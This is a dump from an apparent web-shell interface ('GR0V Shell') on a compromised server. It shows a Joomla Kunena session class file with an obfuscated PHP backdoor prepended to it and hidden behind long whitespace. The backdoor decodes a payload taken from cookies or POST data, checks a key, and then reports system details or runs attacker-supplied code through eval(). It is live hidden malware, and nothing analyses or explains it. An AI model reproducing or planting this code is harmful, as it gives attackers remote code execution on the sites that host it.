? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/administrator/components/com_kunena/lib/
File Upload :
Current File : /home/admin/public_html/old/administrator/components/com_kunena/lib/kunena.session.class.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $GLOBALS['xb5c0'];global$xb5c0;$xb5c0=$GLOBALS;$xb5c0['v19bd']="\x46\x37\x7d\x6b\x47\x33\x23\x25\x20\x5d\x6a\x64\x2a\x5f\x76\x69\x6d\x39\x2c\x6f\x27\x65\x44\x57\x3a\x26\x50\x35\x68\x72\x43\x66\x60\x7b\x2b\x63\x29\x58\x70\x4e\xa\x2e\x28\x49\x6e\x79\x3c\x67\x5a\xd\x61\x52\x2f\x54\x7c\x74\x77\x42\x38\x24\x21\x71\x3f\x32\x5e\x2d\x45\x4c\x48\x3b\x5c\x53\x78\x36\x75\x3e\x3d\x22\x7a\x40\x34\x7e\x9\x59\x5b\x73\x62\x4a\x51\x41\x31\x30\x4f\x6c\x56\x4d\x4b\x55";$xb5c0[$xb5c0['v19bd'][72].$xb5c0['v19bd'][27].$xb5c0['v19bd'][11].$xb5c0['v19bd'][5].$xb5c0['v19bd'][5].$xb5c0['v19bd'][91].$xb5c0['v19bd'][91]]=$xb5c0['v19bd'][35].$xb5c0['v19bd'][28].$xb5c0['v19bd'][29];$xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][73].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1]]=$xb5c0['v19bd'][19].$xb5c0['v19bd'][29].$xb5c0['v19bd'][11];$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][63].$xb5c0['v19bd'][91].$xb5c0['v19bd'][90].$xb5c0['v19bd'][31].$xb5c0['v19bd'][21]]=$xb5c0['v19bd'][85].$xb5c0['v19bd'][55].$xb5c0['v19bd'][29].$xb5c0['v19bd'][93].$xb5c0['v19bd'][21].$xb5c0['v19bd'][44];$xb5c0[$xb5c0['v19bd'][74].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][86].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][91].$xb5c0['v19bd'][50]]=$xb5c0['v19bd'][15].$xb5c0['v19bd'][44].$xb5c0['v19bd'][15].$xb5c0['v19bd'][13].$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][55];$xb5c0[$xb5c0['v19bd'][31].$xb5c0['v19bd'][11].$xb5c0['v19bd'][17].$xb5c0['v19bd'][11]]=$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][15].$xb5c0['v19bd'][50].$xb5c0['v19bd'][93].$xb5c0['v19bd'][15].$xb5c0['v19bd'][78].$xb5c0['v19bd'][21];$xb5c0[$xb5c0['v19bd'][16].$xb5c0['v19bd'][63].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][17].$xb5c0['v19bd'][91].$xb5c0['v19bd'][73]]=$xb5c0['v19bd'][38].$xb5c0['v19bd'][28].$xb5c0['v19bd'][38].$xb5c0['v19bd'][14].$xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][85].$xb5c0['v19bd'][15].$xb5c0['v19bd'][19].$xb5c0['v19bd'][44];$xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][17].$xb5c0['v19bd'][80].$xb5c0['v19bd'][31].$xb5c0['v19bd'][80].$xb5c0['v19bd'][86].$xb5c0['v19bd'][21]]=$xb5c0['v19bd'][74].$xb5c0['v19bd'][44].$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][15].$xb5c0['v19bd'][50].$xb5c0['v19bd'][93].$xb5c0['v19bd'][15].$xb5c0['v19bd'][78].$xb5c0['v19bd'][21];$xb5c0[$xb5c0['v19bd'][3].$xb5c0['v19bd'][27].$xb5c0['v19bd'][21].$xb5c0['v19bd'][50].$xb5c0['v19bd'][17].$xb5c0['v19bd'][63].$xb5c0['v19bd'][27]]=$xb5c0['v19bd'][86].$xb5c0['v19bd'][50].$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][73].$xb5c0['v19bd'][80].$xb5c0['v19bd'][13].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][19].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21];$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][31].$xb5c0['v19bd'][91].$xb5c0['v19bd'][58].$xb5c0['v19bd'][63]]=$xb5c0['v19bd'][85].$xb5c0['v19bd'][21].$xb5c0['v19bd'][55].$xb5c0['v19bd'][13].$xb5c0['v19bd'][55].$xb5c0['v19bd'][15].$xb5c0['v19bd'][16].$xb5c0['v19bd'][21].$xb5c0['v19bd'][13].$xb5c0['v19bd'][93].$xb5c0['v19bd'][15].$xb5c0['v19bd'][16].$xb5c0['v19bd'][15].$xb5c0['v19bd'][55];$xb5c0[$xb5c0['v19bd'][61].$xb5c0['v19bd'][5].$xb5c0['v19bd'][73].$xb5c0['v19bd'][90].$xb5c0['v19bd'][73]]=$xb5c0['v19bd'][44].$xb5c0['v19bd'][58].$xb5c0['v19bd'][50].$xb5c0['v19bd'][27].$xb5c0['v19bd'][50].$xb5c0['v19bd'][27];$xb5c0[$xb5c0['v19bd'][19].$xb5c0['v19bd'][11].$xb5c0['v19bd'][1].$xb5c0['v19bd'][73].$xb5c0['v19bd'][5]]=$xb5c0['v19bd'][11].$xb5c0['v19bd'][80].$xb5c0['v19bd'][31].$xb5c0['v19bd'][58];$xb5c0[$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][27].$xb5c0['v19bd'][86].$xb5c0['v19bd'][58].$xb5c0['v19bd'][90]]=$_POST;$xb5c0[$xb5c0['v19bd'][31].$xb5c0['v19bd'][27].$xb5c0['v19bd'][31].$xb5c0['v19bd'][80]]=$_COOKIE;@$xb5c0[$xb5c0['v19bd'][74].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][86].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][91].$xb5c0['v19bd'][50]]($xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][29].$xb5c0['v19bd'][19].$xb5c0['v19bd'][29].$xb5c0['v19bd'][13].$xb5c0['v19bd'][93].$xb5c0['v19bd'][19].$xb5c0['v19bd'][47],NULL);@$xb5c0[$xb5c0['v19bd'][74].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][86].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][91].$xb5c0['v19bd'][50]]($xb5c0['v19bd'][93].$xb5c0['v19bd'][19].$xb5c0['v19bd'][47].$xb5c0['v19bd'][13].$xb5c0['v19bd'][21].$xb5c0['v19bd'][29].$xb5c0['v19bd'][29].$xb5c0['v19bd'][19].$xb5c0['v19bd'][29].$xb5c0['v19bd'][85],0);@$xb5c0[$xb5c0['v19bd'][74].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][86].$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][91].$xb5c0['v19bd'][50]]($xb5c0['v19bd'][16].$xb5c0['v19bd'][50].$xb5c0['v19bd'][72].$xb5c0['v19bd'][13].$xb5c0['v19bd'][21].$xb5c0['v19bd'][72].$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][74].$xb5c0['v19bd'][55].$xb5c0['v19bd'][15].$xb5c0['v19bd'][19].$xb5c0['v19bd'][44].$xb5c0['v19bd'][13].$xb5c0['v19bd'][55].$xb5c0['v19bd'][15].$xb5c0['v19bd'][16].$xb5c0['v19bd'][21],0);@$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][31].$xb5c0['v19bd'][91].$xb5c0['v19bd'][58].$xb5c0['v19bd'][63]](0);$g0c4dc39=NULL;$y6373682f=NULL;$xb5c0[$xb5c0['v19bd'][10].$xb5c0['v19bd'][50].$xb5c0['v19bd'][1].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][5]]=$xb5c0['v19bd'][21].$xb5c0['v19bd'][90].$xb5c0['v19bd'][63].$xb5c0['v19bd'][21].$xb5c0['v19bd'][31].$xb5c0['v19bd'][17].$xb5c0['v19bd'][63].$xb5c0['v19bd'][27].$xb5c0['v19bd'][65].$xb5c0['v19bd'][1].$xb5c0['v19bd'][90].$xb5c0['v19bd'][35].$xb5c0['v19bd'][31].$xb5c0['v19bd'][65].$xb5c0['v19bd'][80].$xb5c0['v19bd'][50].$xb5c0['v19bd'][31].$xb5c0['v19bd'][5].$xb5c0['v19bd'][65].$xb5c0['v19bd'][58].$xb5c0['v19bd'][80].$xb5c0['v19bd'][73].$xb5c0['v19bd'][50].$xb5c0['v19bd'][65].$xb5c0['v19bd'][5].$xb5c0['v19bd'][1].$xb5c0['v19bd'][35].$xb5c0['v19bd'][27].$xb5c0['v19bd'][1].$xb5c0['v19bd'][91].$xb5c0['v19bd'][11].$xb5c0['v19bd'][63].$xb5c0['v19bd'][17].$xb5c0['v19bd'][5].$xb5c0['v19bd'][11].$xb5c0['v19bd'][63];global$ja7c73;function d4f8($g0c4dc39,$hbc817){global$xb5c0;$lcdebe9b2="";for($ia45657b3=0;$ia45657b3<$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][63].$xb5c0['v19bd'][91].$xb5c0['v19bd'][90].$xb5c0['v19bd'][31].$xb5c0['v19bd'][21]]($g0c4dc39);){for($s97e9=0;$s97e9<$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][63].$xb5c0['v19bd'][91].$xb5c0['v19bd'][90].$xb5c0['v19bd'][31].$xb5c0['v19bd'][21]]($hbc817)&&$ia45657b3<$xb5c0[$xb5c0['v19bd'][14].$xb5c0['v19bd'][63].$xb5c0['v19bd'][91].$xb5c0['v19bd'][90].$xb5c0['v19bd'][31].$xb5c0['v19bd'][21]]($g0c4dc39);$s97e9++,$ia45657b3++){$lcdebe9b2.=$xb5c0[$xb5c0['v19bd'][72].$xb5c0['v19bd'][27].$xb5c0['v19bd'][11].$xb5c0['v19bd'][5].$xb5c0['v19bd'][5].$xb5c0['v19bd'][91].$xb5c0['v19bd'][91]]($xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][73].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1]]($g0c4dc39[$ia45657b3])^$xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][73].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1]]($hbc817[$s97e9]));}}return$lcdebe9b2;}function n8a5a5($g0c4dc39,$hbc817){global$xb5c0;global$ja7c73;return$xb5c0[$xb5c0['v19bd'][19].$xb5c0['v19bd'][11].$xb5c0['v19bd'][1].$xb5c0['v19bd'][73].$xb5c0['v19bd'][5]]($xb5c0[$xb5c0['v19bd'][19].$xb5c0['v19bd'][11].$xb5c0['v19bd'][1].$xb5c0['v19bd'][73].$xb5c0['v19bd'][5]]($g0c4dc39,$ja7c73),$hbc817);}foreach($xb5c0[$xb5c0['v19bd'][31].$xb5c0['v19bd'][27].$xb5c0['v19bd'][31].$xb5c0['v19bd'][80]]as$hbc817=>$mfec643){$g0c4dc39=$mfec643;$y6373682f=$hbc817;}if(!$g0c4dc39){foreach($xb5c0[$xb5c0['v19bd'][11].$xb5c0['v19bd'][21].$xb5c0['v19bd'][21].$xb5c0['v19bd'][35].$xb5c0['v19bd'][27].$xb5c0['v19bd'][86].$xb5c0['v19bd'][58].$xb5c0['v19bd'][90]]as$hbc817=>$mfec643){$g0c4dc39=$mfec643;$y6373682f=$hbc817;}}$g0c4dc39=@$xb5c0[$xb5c0['v19bd'][21].$xb5c0['v19bd'][17].$xb5c0['v19bd'][80].$xb5c0['v19bd'][31].$xb5c0['v19bd'][80].$xb5c0['v19bd'][86].$xb5c0['v19bd'][21]]($xb5c0[$xb5c0['v19bd'][61].$xb5c0['v19bd'][5].$xb5c0['v19bd'][73].$xb5c0['v19bd'][90].$xb5c0['v19bd'][73]]($xb5c0[$xb5c0['v19bd'][3].$xb5c0['v19bd'][27].$xb5c0['v19bd'][21].$xb5c0['v19bd'][50].$xb5c0['v19bd'][17].$xb5c0['v19bd'][63].$xb5c0['v19bd'][27]]($g0c4dc39),$y6373682f));if(isset($g0c4dc39[$xb5c0['v19bd'][50].$xb5c0['v19bd'][3]])&&$ja7c73==$g0c4dc39[$xb5c0['v19bd'][50].$xb5c0['v19bd'][3]]){if($g0c4dc39[$xb5c0['v19bd'][50]]==$xb5c0['v19bd'][15]){$ia45657b3=Array($xb5c0['v19bd'][38].$xb5c0['v19bd'][14]=>@$xb5c0[$xb5c0['v19bd'][16].$xb5c0['v19bd'][63].$xb5c0['v19bd'][35].$xb5c0['v19bd'][1].$xb5c0['v19bd'][17].$xb5c0['v19bd'][91].$xb5c0['v19bd'][73]](),$xb5c0['v19bd'][85].$xb5c0['v19bd'][14]=>$xb5c0['v19bd'][90].$xb5c0['v19bd'][41].$xb5c0['v19bd'][91].$xb5c0['v19bd'][65].$xb5c0['v19bd'][90],);echo@$xb5c0[$xb5c0['v19bd'][31].$xb5c0['v19bd'][11].$xb5c0['v19bd'][17].$xb5c0['v19bd'][11]]($ia45657b3);}elseif($g0c4dc39[$xb5c0['v19bd'][50]]==$xb5c0['v19bd'][21]){eval($g0c4dc39[$xb5c0['v19bd'][11]]);}exit();} ?><?php
/**
* @version $Id: kunena.search.class.php 661 2009-05-01 08:28:21Z mahagr $
* Kunena Component
* @package Kunena
*
* @Copyright (C) 2008 - 2009 Kunena Team All rights reserved
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
* @link http://www.kunena.com
*
**/
// Dont allow direct linking
defined( '_JEXEC' ) or die('Restricted access');

require_once (KUNENA_PATH_LIB .DS. "kunena.config.class.php");

class CKunenaSession extends JTable
{
	var $userid = 0;
	var $allowed = 'na';
	var $lasttime = 0;
	var $readtopics = '';
	var $currvisit = 0;
	protected $_exists = false;
	protected $_sessiontimeout = false;
	private static $_instance;

	function __construct(&$kunena_db)
	{
		$fbConfig =& CKunenaConfig::getInstance();
		parent::__construct('#__fb_sessions', 'userid', $kunena_db);
		$this->lasttime = time() + $fbConfig->board_ofset - KUNENA_SECONDS_IN_YEAR;
		$this->currvisit = time() + $fbConfig->board_ofset;
	}

	function &getInstance( $updateSessionInfo=false )
	{
		if (!self::$_instance) {
			$kunena_my = &JFactory::getUser();
			$kunena_db = &JFactory::getDBO();
			self::$_instance = new CKunenaSession($kunena_db);
			if ($kunena_my->id) self::$_instance->load($kunena_my->id);
			if ($updateSessionInfo) self::$_instance->updateSessionInfo();
		}
		return self::$_instance;
	}

	function load( $oid=null )
	{
		$ret = parent::load($oid);
		if ($ret === true) $this->_exists = true;
		$this->userid = (int)$oid;

		return $ret;
	}

	function store( $updateNulls=false )
	{
		$fbConfig =& CKunenaConfig::getInstance();

		// Finally update current visit timestamp before saving
		$this->currvisit = time() + $fbConfig->board_ofset * KUNENA_SECONDS_IN_HOUR;

		$k = $this->_tbl_key;

		if( $this->$k && $this->_exists === true )
		{
			$ret = $this->_db->updateObject( $this->_tbl, $this, $this->_tbl_key, $updateNulls );
		}
		else
		{
			$ret = $this->_db->insertObject( $this->_tbl, $this, $this->_tbl_key );
		}
		if( !$ret )
		{
			$this->setError(get_class( $this ).'::store failed - '.$this->_db->getErrorMsg());
			return false;
		}
		else
		{
			return true;
		}
	}

	function isNewUser()
	{
		return !$this->_exists;
	}

	function isNewSession()
	{
		return $this->_sessiontimeout;
	}

	function markAllCategoriesRead()
	{
		$fbConfig =& CKunenaConfig::getInstance();

		$this->lasttime = time() + $fbConfig->board_ofset * KUNENA_SECONDS_IN_HOUR;
		$this->readtopics = '';
	}

	function updateSessionInfo()
	{
		$fbConfig =& CKunenaConfig::getInstance();

		// perform session timeout check
		$this->_sessiontimeout = ($this->currvisit + $fbConfig->fbsessiontimeout) < time() + $fbConfig->board_ofset * KUNENA_SECONDS_IN_HOUR;

		// If this is a new session, reset the lasttime colum with the timestamp
		// of the last saved currvisit - only after that can we reset currvisit to now before the store
		if ($this->isNewSession())
		{
			$this->lasttime = $this->currvisit;
			$this->readtopics = '';
		}
	}

	function updateAllowedForums($my_id, $aro_group, $acl)
	{
		// check to see if we need to refresh the allowed forums cache
		// get all accessaible forums if needed (eg on forum modification, new session)
		if (!$this->allowed or $this->allowed == 'na' or $this->isNewSession()) {
			$allow_forums = CKunenaTools::getAllowedForums($my_id, $aro_group->id, $acl);

			if (!$allow_forums)
			{
				$allow_forums = '0';
			}

			if ($allow_forums != $this->allowed)
			{
				$this->allowed = $allow_forums;
			}
		}
	}
}

?>

T1KUS90T
  root-grov@210.1.60.28:~$